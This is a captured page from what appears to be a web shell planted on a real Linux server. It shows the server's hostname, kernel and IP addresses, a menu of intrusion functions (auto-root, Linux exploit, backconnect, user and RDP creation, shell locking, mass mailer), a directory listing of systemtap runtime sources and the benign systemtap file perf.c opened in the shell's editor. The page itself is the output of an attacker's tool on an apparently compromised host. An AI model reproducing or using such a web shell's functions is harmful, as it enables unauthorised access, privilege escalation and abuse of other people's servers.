Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
runtime /
linux /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
uprobes
[ DIR ]
drwxr-xr-x
?;
uprobes2
[ DIR ]
drwxr-xr-x
access_process_vm.h
3.59
KB
-rw-r--r--
addr-map.c
8.03
KB
-rw-r--r--
alloc.c
15.02
KB
-rw-r--r--
arith.c
16.41
KB
-rw-r--r--
autoconf-alloc-percpu-align.c
118
B
-rw-r--r--
autoconf-asm-syscall.c
26
B
-rw-r--r--
autoconf-bio-bi_opf.c
824
B
-rw-r--r--
autoconf-blk-types.c
359
B
-rw-r--r--
autoconf-compat_sigaction.c
448
B
-rw-r--r--
autoconf-constant-tsc.c
63
B
-rw-r--r--
autoconf-cpu-clock.c
1.25
KB
-rw-r--r--
autoconf-dpath-path.c
121
B
-rw-r--r--
autoconf-from_kuid_munged.c
191
B
-rw-r--r--
autoconf-fs_supers-hlist.c
354
B
-rw-r--r--
autoconf-generated-compile.c
56
B
-rw-r--r--
autoconf-get_user_pages_remote...
1.51
KB
-rw-r--r--
autoconf-get_user_pages_remote...
1.3
KB
-rw-r--r--
autoconf-grsecurity.c
219
B
-rw-r--r--
autoconf-hlist-4args.c
296
B
-rw-r--r--
autoconf-hrtimer-getset-expire...
126
B
-rw-r--r--
autoconf-hrtimer-rel.c
87
B
-rw-r--r--
autoconf-hw_breakpoint_context...
315
B
-rw-r--r--
autoconf-inode-private.c
173
B
-rw-r--r--
autoconf-inode-rwsem.c
172
B
-rw-r--r--
autoconf-inode-uretprobes.c
264
B
-rw-r--r--
autoconf-kallsyms-on-each-symb...
192
B
-rw-r--r--
autoconf-kprobe-symbol-name.c
90
B
-rw-r--r--
autoconf-ktime-get-real.c
98
B
-rw-r--r--
autoconf-linux-sched_headers.c
1.64
KB
-rw-r--r--
autoconf-local-clock.c
1.25
KB
-rw-r--r--
autoconf-mm-context-vdso-base....
117
B
-rw-r--r--
autoconf-mm-context-vdso.c
114
B
-rw-r--r--
autoconf-mod_kallsyms.c
51
B
-rw-r--r--
autoconf-module-sect-attrs.c
158
B
-rw-r--r--
autoconf-module_layout.c
52
B
-rw-r--r--
autoconf-nameidata.c
96
B
-rw-r--r--
autoconf-netfilter-313b.c
602
B
-rw-r--r--
autoconf-netfilter-4_1.c
769
B
-rw-r--r--
autoconf-netfilter-4_4.c
1.43
KB
-rw-r--r--
autoconf-netfilter.c
422
B
-rw-r--r--
autoconf-old-inode-uprobes.c
357
B
-rw-r--r--
autoconf-oneachcpu-retry.c
957
B
-rw-r--r--
autoconf-pagefault_disable.c
137
B
-rw-r--r--
autoconf-perf-structpid.c
444
B
-rw-r--r--
autoconf-procfs-owner.c
158
B
-rw-r--r--
autoconf-real-parent.c
427
B
-rw-r--r--
autoconf-regset.c
239
B
-rw-r--r--
autoconf-relay-umode_t.c
730
B
-rw-r--r--
autoconf-relay_buf-per_cpu_ptr...
920
B
-rw-r--r--
autoconf-ring_buffer-flags.c
112
B
-rw-r--r--
autoconf-ring_buffer_lost_even...
296
B
-rw-r--r--
autoconf-ring_buffer_read_prep...
181
B
-rw-r--r--
autoconf-save-stack-trace-no-b...
498
B
-rw-r--r--
autoconf-save-stack-trace.c
501
B
-rw-r--r--
autoconf-smpcall-4args.c
166
B
-rw-r--r--
autoconf-smpcall-5args.c
169
B
-rw-r--r--
autoconf-stacktrace_ops-int-ad...
409
B
-rw-r--r--
autoconf-stacktrace_ops-warnin...
188
B
-rw-r--r--
autoconf-task-uid.c
152
B
-rw-r--r--
autoconf-task_work-struct.c
219
B
-rw-r--r--
autoconf-timerfd.c
232
B
-rw-r--r--
autoconf-trace-printk.c
151
B
-rw-r--r--
autoconf-tracepoint-strings.c
233
B
-rw-r--r--
autoconf-uaccess.c
28
B
-rw-r--r--
autoconf-udelay_simple.c
90
B
-rw-r--r--
autoconf-uidgid.c
50
B
-rw-r--r--
autoconf-unwind-stack-trace.c
326
B
-rw-r--r--
autoconf-uprobe-get-pc.c
374
B
-rw-r--r--
autoconf-utrace-regset.c
273
B
-rw-r--r--
autoconf-utrace-via-tracepoint...
1.67
KB
-rw-r--r--
autoconf-vm-area-pte.c
141
B
-rw-r--r--
autoconf-walk-stack.c
217
B
-rw-r--r--
autoconf-x86-fs.c
90
B
-rw-r--r--
autoconf-x86-gs.c
90
B
-rw-r--r--
autoconf-x86-uniregs.c
115
B
-rw-r--r--
autoconf-x86-xfs.c
91
B
-rw-r--r--
common_session_state.h
2.93
KB
-rw-r--r--
compat_net.h
858
B
-rw-r--r--
compat_structs.h
4.31
KB
-rw-r--r--
compat_unistd.h
60.25
KB
-rw-r--r--
copy.c
2.58
KB
-rw-r--r--
debug.h
2.5
KB
-rw-r--r--
io.c
4.6
KB
-rw-r--r--
itrace.c
14.53
KB
-rw-r--r--
kprobes.c
22.57
KB
-rw-r--r--
loc2c-runtime.h
23.87
KB
-rw-r--r--
map_list.h
1.19
KB
-rw-r--r--
map_runtime.h
4.12
KB
-rw-r--r--
namespaces.h
6.96
KB
-rw-r--r--
netfilter.c
1.38
KB
-rw-r--r--
perf.c
7.42
KB
-rw-r--r--
perf.h
1.22
KB
-rw-r--r--
perf_event_counter_context.c
336
B
-rw-r--r--
perf_probe_handler_nmi.c
278
B
-rw-r--r--
perf_read.h
959
B
-rw-r--r--
print.c
5.85
KB
-rw-r--r--
probe_lock.h
1.69
KB
-rw-r--r--
regs-ia64.c
3.65
KB
-rw-r--r--
regs.c
12.63
KB
-rw-r--r--
runtime.h
10.55
KB
-rw-r--r--
runtime_context.h
4.75
KB
-rw-r--r--
runtime_defines.h
1.02
KB
-rw-r--r--
stat_runtime.h
1.7
KB
-rw-r--r--
stp_tracepoint.c
11.07
KB
-rw-r--r--
stp_tracepoint.h
2.1
KB
-rw-r--r--
syscalls-common.h
976
B
-rw-r--r--
task_finder.c
52.17
KB
-rw-r--r--
task_finder2.c
53.5
KB
-rw-r--r--
task_finder_map.c
5.07
KB
-rw-r--r--
task_finder_stubs.c
2.38
KB
-rw-r--r--
task_work_compatibility.h
1.25
KB
-rw-r--r--
timer.c
2.15
KB
-rw-r--r--
timer.h
1.35
KB
-rw-r--r--
timer_compatibility.h
2.26
KB
-rw-r--r--
uprobes-common.c
15.21
KB
-rw-r--r--
uprobes-common.h
1.61
KB
-rw-r--r--
uprobes-inc.h
484
B
-rw-r--r--
uprobes-inode.c
22.79
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : perf.c
/* -*- linux-c -*- * Perf Functions * Copyright (C) 2006-2014 Red Hat Inc. * * This file is part of systemtap, and is free software. You can * redistribute it and/or modify it under the terms of the GNU General * Public License (GPL); either version 2, or (at your option) any * later version. */ #ifndef _PERF_C_ #define _PERF_C_ #include <linux/perf_event.h> #include <linux/workqueue.h> #include "perf.h" #ifndef INIT_WORK_ONSTACK #define INIT_WORK_ONSTACK(_work, _func) INIT_WORK((_work), (_func)) #define destroy_work_on_stack(_work) do { (void)(_work); } while (0) #endif /** @file perf.c * @brief Implements performance monitoring hardware support */ /** Initialize performance sampling * Call this during probe initialization to set up performance event sampling * for all online cpus. Returns non-zero on error. * * @param stp Handle for the event to be registered. */ static long _stp_perf_init (struct stap_perf_probe *stp, struct task_struct* task) { int cpu; if (!stp->system_wide) { if (task == 0) /* need to setup later when we know the task */ return 0; else { if (stp->e.t.per_thread_event != 0) /* already setup */ return 0; stp->e.t.per_thread_event = perf_event_create_kernel_counter(&stp->attr, -1, #if defined(STAPCONF_PERF_STRUCTPID) || defined (STAPCONF_PERF_COUNTER_CONTEXT) task, #else task->pid, #endif stp->callback #ifdef STAPCONF_PERF_COUNTER_CONTEXT , NULL #endif ); if (IS_ERR(stp->e.t.per_thread_event)) { long rc = PTR_ERR(stp->e.t.per_thread_event); stp->e.t.per_thread_event = NULL; /* * PPC returns ENXIO for HW counters until 2.6.37 * (behavior changed with commit b0a873e). */ if (rc == -EINVAL || rc == -ENOSYS || rc == -ENOENT || rc == -EOPNOTSUPP || rc == -ENXIO) { _stp_warn("perf probe '%s' is not supported by this kernel (%ld).", #ifdef STP_NEED_PROBE_NAME stp->probe->pn, #else stp->probe->pp, #endif rc); /* Lie and return 0. This way the more generic * task_finder warning won't be printed. */ rc = 0; } return rc; } } } else { /* allocate space for the event descriptor for each cpu */ stp->e.events = _stp_alloc_percpu (sizeof(struct perf_event*)); if (stp->e.events == NULL) { return -ENOMEM; } /* initialize event on each processor */ for_each_possible_cpu(cpu) { struct perf_event **event = per_cpu_ptr (stp->e.events, cpu); if (cpu_is_offline(cpu)) { *event = NULL; continue; } *event = perf_event_create_kernel_counter(&stp->attr, cpu, #if defined(STAPCONF_PERF_STRUCTPID) || defined (STAPCONF_PERF_COUNTER_CONTEXT) NULL, #else -1, #endif stp->callback #ifdef STAPCONF_PERF_COUNTER_CONTEXT , NULL #endif ); if (IS_ERR(*event)) { long rc = PTR_ERR(*event); *event = NULL; _stp_perf_del(stp); return rc; } } } /* (stp->system_wide) */ return 0; } /** Delete performance event. * Call this to shutdown one performance event sampling * * @param stp Handle for the event to be unregistered. */ static void _stp_perf_del (struct stap_perf_probe *stp) { int cpu; if (! stp || !stp->e.events) return; /* shut down performance event sampling */ if (stp->system_wide) { for_each_possible_cpu(cpu) { struct perf_event **event = per_cpu_ptr (stp->e.events, cpu); if (*event) { perf_event_release_kernel(*event); } } _stp_free_percpu (stp->e.events); stp->e.events = NULL; } else { if (stp->e.t.per_thread_event) { perf_event_release_kernel(stp->e.t.per_thread_event); } stp->e.t.per_thread_event = NULL; } } /** Delete many performance events in reverse order. * Call this to shutdown all performance event sampling * * @param probes A pointer array for the events to be unregistered. * @param n The number of events in the array. */ static void _stp_perf_del_n (struct stap_perf_probe *probes, size_t n) { while (n--) _stp_perf_del(&probes[n]); } struct _stp_perf_work { struct work_struct work; struct stap_perf_probe *probes; size_t nprobes; const char* probe_point; int rc; }; /** Initialize many performance events from a workqueue * Even though we're using the kernel interface, perf checks CAP_SYS_ADMIN, * which our mere @stapdev user may not have. By running via a workqueue, * we'll be in an events/X kernel thread with sufficient privileges. * * @param work The _stp_perf_work encapsulating _stp_perf_init_n parameters. */ static void _stp_perf_init_work (struct work_struct *work) { size_t i; struct _stp_perf_work *pwork = container_of(work, struct _stp_perf_work, work); for (i = 0; i < pwork->nprobes; ++i) { struct stap_perf_probe* stp = &pwork->probes[i]; if (stp->system_wide) pwork->rc = _stp_perf_init(stp, NULL); else if (stp->task_finder) #ifdef STP_PERF_USE_TASK_FINDER pwork->rc = stap_register_task_finder_target(&stp->e.t.tgt); #else pwork->rc = EINVAL; #endif if (pwork->rc) { pwork->probe_point = stp->probe->pp; _stp_perf_del_n(pwork->probes, i); break; } } } /** Initialize many performance events * Call this to start all performance event sampling * * @param probes A pointer array for the events to be registered. * @param n The number of events in the array. * @param ppfail A pointer to return the probe_point on failure. */ static int _stp_perf_init_n (struct stap_perf_probe *probes, size_t n, const char **ppfail) { struct _stp_perf_work pwork = { .probes = probes, .nprobes = n }; INIT_WORK_ONSTACK(&pwork.work, _stp_perf_init_work); schedule_work(&pwork.work); flush_work(&pwork.work); if (pwork.rc) *ppfail = pwork.probe_point; destroy_work_on_stack(&pwork.work); return pwork.rc; } /* The first call to _stp_perf_init, via systemtap_module_init at runtime, is for setting up aggregate counters. Per thread counters need to be setup when the thread is known. This is done by calling _stp_perf_init later when the thread is known. A per thread perf counter is defined by a counter("var") suffix on the perf probe. It is defined by perf_builder. This counter is read on demand via the "@perf("var")" builtin which is treated as an expression right hand side which reads the perf counter associated with the previously defined perf counter. It is expanded by dwarf_var_expanding_visitor */ static int _stp_perf_read_init (unsigned i, struct task_struct* task) { /* Choose the stap_perf_probes entry */ struct stap_perf_probe* stp = & stap_perf_probes[i]; return _stp_perf_init (stp, task); } long _stp_perf_read (int ncpu, unsigned i) { /* Choose the stap_perf_probes entry */ struct stap_perf_probe* stp; u64 enabled, running; if (i > sizeof(stap_perf_probes)/sizeof(struct stap_perf_probe)) { _stp_error ("_stp_perf_read - out of range"); return 0; } stp = & stap_perf_probes[i]; if (stp == NULL || stp->system_wide || stp->e.t.per_thread_event == NULL) { _stp_error ("_stp_perf_read - probe '%s' is not supported by this kernel", #ifdef STP_NEED_PROBE_NAME (stp ? stp->probe->pn : "unknown") #else (stp ? stp->probe->pp : "unknown") #endif ); return 0; } might_sleep(); return perf_event_read_value (stp->e.t.per_thread_event, &enabled, &running); } #endif /* _PERF_C_ */
Close